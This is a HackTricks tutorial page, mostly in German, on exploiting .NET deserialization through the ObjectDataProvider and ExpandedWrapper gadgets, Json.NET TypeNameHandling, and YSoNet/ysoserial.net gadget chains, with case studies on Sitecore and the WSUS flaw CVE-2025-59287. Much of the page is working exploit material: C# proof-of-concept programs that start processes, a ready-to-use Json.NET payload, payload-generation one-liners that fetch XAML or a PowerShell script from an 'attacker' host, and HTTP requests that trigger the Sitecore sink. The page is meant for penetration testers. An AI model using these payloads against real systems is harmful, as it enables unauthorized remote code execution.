Grundlegende .Net-Deserialisierung (ObjectDataProvider gadget, ExpandedWrapper und Json.Net)

Reading time: 11 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Dieser Beitrag erklärt, wie das Gadget ObjectDataProvider ausgenutzt wird, um RCE zu erreichen, und wie die Serialisierungsbibliotheken Json.Net und xmlSerializer mit diesem Gadget missbraucht werden können.

ObjectDataProvider Gadget

From the documentation: the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
Ja, das ist eine merkwürdige Erklärung, also sehen wir uns an, was diese Klasse so interessant macht: Diese Klasse erlaubt es, ein beliebiges Objekt zu wrappen, MethodParameters zu verwenden, um beliebige Parameter zu setzen, und dann mit MethodName eine beliebige Funktion des beliebigen Objekts aufzurufen, die mit den angegebenen Parametern deklariert wurde.
Daher wird das beliebige Objekt eine Funktion mit Parametern während der Deserialisierung ausführen.

Wie ist das möglich

Der Namespace System.Windows.Data, enthalten in PresentationFramework.dll unter C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF, ist der Ort, an dem ObjectDataProvider definiert und implementiert ist.

Mit dnSpy können Sie den Code der Klasse, die uns interessiert, untersuchen. Im Bild unten sehen wir den Code von PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name

Wie Sie sehen können, wird beim Setzen von MethodName base.Refresh() aufgerufen. Schauen wir uns an, was das macht:

Ok, schauen wir weiter, was this.BeginQuery() macht. BeginQuery wird von ObjectDataProvider überschrieben und dies ist, was es macht:

Beachten Sie, dass am Ende des Codes this.QueryWorke(null) aufgerufen wird. Sehen wir, was das ausführt:

Beachten Sie, dass dies nicht der komplette Code der Funktion QueryWorker ist, aber es zeigt den interessanten Teil: Der Code ruft this.InvokeMethodOnInstance(out ex); auf — das ist die Zeile, in der die festgelegte Methode ausgeführt wird.

Wenn Sie prüfen möchten, dass allein das Setzen von MethodName zur Ausführung führt, können Sie diesen Code ausführen:

C# Demo: ObjectDataProvider löst Process.Start aus
csharp
using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}

Beachte, dass du als Verweis C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll hinzufügen musst, um System.Windows.Data zu laden

ExpandedWrapper

Bei Verwendung des vorherigen Exploits gibt es Fälle, in denen das object als ObjectDataProvider Instanz deserialisiert as wird (zum Beispiel bei der DotNetNuke vuln: mit XmlSerializer wurde das Objekt mittels GetType deserialisiert). Dann besteht no knowledge of the object type that is wrapped in der ObjectDataProvider Instanz (Process zum Beispiel). Du findest mehr information about the DotNetNuke vuln here.

Diese Klasse erlaubt es, die Objekttypen der in einer Instanz gekapselten Objekte anzugeben. Somit kann diese Klasse verwendet werden, um ein Quellobjekt (ObjectDataProvider) in einen neuen Objekttyp zu kapseln und die benötigten Eigenschaften bereitzustellen (ObjectDataProvider.MethodName und ObjectDataProvider.MethodParameters).
Das ist sehr nützlich für Fälle wie den zuvor beschriebenen, denn wir können wrap ObjectDataProvider inside an ExpandedWrapper instance und when deserialized erzeugt diese Klasse das OjectDataProvider Objekt, das die in MethodName angegebene function ausführt.

You can check this wrapper with the following code:

C# demo: ExpandedWrapper encapsulating ObjectDataProvider
csharp
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

Auf der offiziellen Webseite wird angegeben, dass diese Bibliothek es ermöglicht, beliebige .NET-Objekte mit dem leistungsstarken JSON-Serializer von Json.NET zu serialisieren und zu deserialisieren. Wenn wir also das ObjectDataProvider gadget deserialisieren könnten, könnten wir allein durch die Deserialisierung eines Objekts eine RCE auslösen.

Json.Net Beispiel

Zunächst sehen wir uns ein Beispiel an, wie man ein Objekt mit dieser Bibliothek serialisiert/deserialisiert:

C# Demo: Json.NET serialisieren/deserialisieren
csharp
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}

//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}

Missbrauch von Json.Net

Mit ysoserial.net habe ich den Exploit erstellt:

text
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

In diesem Code können Sie den exploit testen — führen Sie ihn einfach aus und Sie werden sehen, dass calc ausgeführt wird:

C# demo: Json.NET ObjectDataProvider exploitation PoC
csharp
using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}

Erweiterte .NET Gadget-Ketten (YSoNet & ysoserial.net)

Die oben eingeführte ObjectDataProvider + ExpandedWrapper-Technik ist nur eine von VIELEN Gadget-Ketten, die ausgenutzt werden können, wenn eine Anwendung unsichere .NET deserialization durchführt. Moderne red-team-Tools wie YSoNet (und das ältere ysoserial.net) automatisieren die Erstellung von sofort einsetzbaren bösartigen Objektgraphen für Dutzende von Gadgets und Serialisierungsformaten.

Nachfolgend eine komprimierte Referenz der nützlichsten Ketten, die mit YSoNet geliefert werden, zusammen mit einer kurzen Erklärung, wie sie funktionieren, und Beispielbefehlen, um die Payloads zu erzeugen.

Gadget-ChainKernidee / PrimitiveGängige SerializerYSoNet One-Liner
TypeConfuseDelegateBeschädigt den DelegateSerializationHolder-Eintrag so, dass der Delegate nach Materialisierung auf jede vom Angreifer bereitgestellte Methode zeigt (z. B. Process.Start)BinaryFormatter, SoapFormatter, NetDataContractSerializerysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin
ActivitySurrogateSelectorMissbraucht System.Workflow.ComponentModel.ActivitySurrogateSelector, um das .NET ≥4.8 Type-Filtering zu umgehen und direkt den Konstruktor einer gelieferten Klasse aufzurufen oder eine C#-Datei dynamisch zu kompilierenBinaryFormatter, NetDataContractSerializer, LosFormatterysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat
DataSetOldBehaviourNutzt die veraltete XML-Darstellung von System.Data.DataSet, um beliebige Typen zu instanziieren, indem die <ColumnMapping> / <DataType>-Felder gefüllt werden (optional die Assembly mit --spoofedAssembly vortäuschen)LosFormatter, BinaryFormatter, XmlSerializerysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml
GetterCompilerResultsAuf WPF-aktivierten Laufzeiten (> .NET 5) werden Property-Getter verkettet, bis System.CodeDom.Compiler.CompilerResults erreicht ist, und dann eine mit -c gelieferte DLL kompiliert oder geladenJson.NET typeless, MessagePack typelessysonet.exe GetterCompilerResults -c Loader.dll > payload.json
ObjectDataProvider (review)Verwendet WPF System.Windows.Data.ObjectDataProvider, um eine beliebige statische Methode mit kontrollierten Argumenten aufzurufen. YSoNet fügt eine bequeme --xamlurl-Variante hinzu, um das bösartige XAML remote zu hostenBinaryFormatter, Json.NET, XAML, etc.ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml
PSObject (CVE-2017-8565)Betten ScriptBlock in System.Management.Automation.PSObject ein, das ausgeführt wird, wenn PowerShell das Objekt deserialisiertPowerShell remoting, BinaryFormatterysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin

tip

Alle Payloads werden standardmäßig auf stdout geschrieben, was es trivial macht, sie in andere Tools zu pipen (z. B. ViewState-Generatoren, base64-Encoder, HTTP-Clients).

Bauen / Installieren von YSoNet

Wenn keine vorkompilierten Binaries unter Actions ➜ Artifacts / Releases verfügbar sind, richtet der folgende PowerShell-One-Liner eine Build-Umgebung ein, klont das Repository und kompiliert alles im Release-Modus:

powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;

git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release

Die kompilierte ysonet.exe befindet sich dann unter ysonet/bin/Release/.

Praxisnaher sink: Sitecore convertToRuntimeHtml → BinaryFormatter

Ein praxisnaher .NET sink, erreichbar in authentifizierten Sitecore XP Content Editor‑Abläufen:

  • Sink API: Sitecore.Convert.Base64ToObject(string) verwendet new BinaryFormatter().Deserialize(...).
  • Auslösepfad: Pipeline convertToRuntimeHtmlConvertWebControls, die nach einem Geschwister-Element mit id="{iframeId}_inner" sucht und ein value-Attribut liest, das als base64-kodierte serialisierte Daten behandelt wird. Das Ergebnis wird in einen string gecastet und in das HTML eingefügt.
Authentifizierter Sitecore sink: HTTP‑Ablauf des Triggers
text
// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc"></iframe>
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
</html>

// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
  • Gadget: jede BinaryFormatter-Kette, die einen string zurückgibt (Nebenwirkungen laufen während der Deserialisierung). Siehe YSoNet/ysoserial.net, um Payloads zu generieren.

Für eine vollständige Kette, die pre‑auth mit HTML cache poisoning in Sitecore beginnt und zu diesem Sink führt:

Sitecore

Fallstudie: Unsichere .NET-Deserialisierung in WSUS (CVE-2025-59287)

  • Product/role: Windows Server Update Services (WSUS) role on Windows Server 2012 → 2025.
  • Attack surface: IIS-hosted WSUS endpoints over HTTP/HTTPS on TCP 8530/8531 (often exposed internally; Internet exposure is high risk).
  • Root cause: Nicht authentifizierte Deserialisierung von vom Angreifer kontrollierten Daten unter Verwendung veralteter Formatter:
  • GetCookie() endpoint deserializes an AuthorizationCookie with BinaryFormatter.
  • ReportingWebService performs unsafe deserialization via SoapFormatter.
  • Impact: Ein manipuliertes serialisiertes Objekt löst während der Deserialisierung eine Gadget-Kette aus, die zur Ausführung beliebigen Codes als NT AUTHORITY\SYSTEM unter entweder dem WSUS-Dienst (wsusservice.exe) oder dem IIS-App-Pool wsuspool (w3wp.exe) führt.

Praktische Hinweise zur Ausnutzung

  • Discovery: Scan for WSUS on TCP 8530/8531. Treat any pre-auth serialized blob reaching WSUS web methods as a potential sink for BinaryFormatter/SoapFormatter payloads.
  • Payloads: Verwenden Sie YSoNet/ysoserial.net, um BinaryFormatter oder SoapFormatter-Ketten zu erzeugen (z. B. TypeConfuseDelegate, ActivitySurrogateSelector, ObjectDataProvider).
  • Expected process lineage on success:
  • wsusservice.exe -> cmd.exe -> cmd.exe -> powershell.exe
  • w3wp.exe (wsuspool) -> cmd.exe -> cmd.exe -> powershell.exe

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks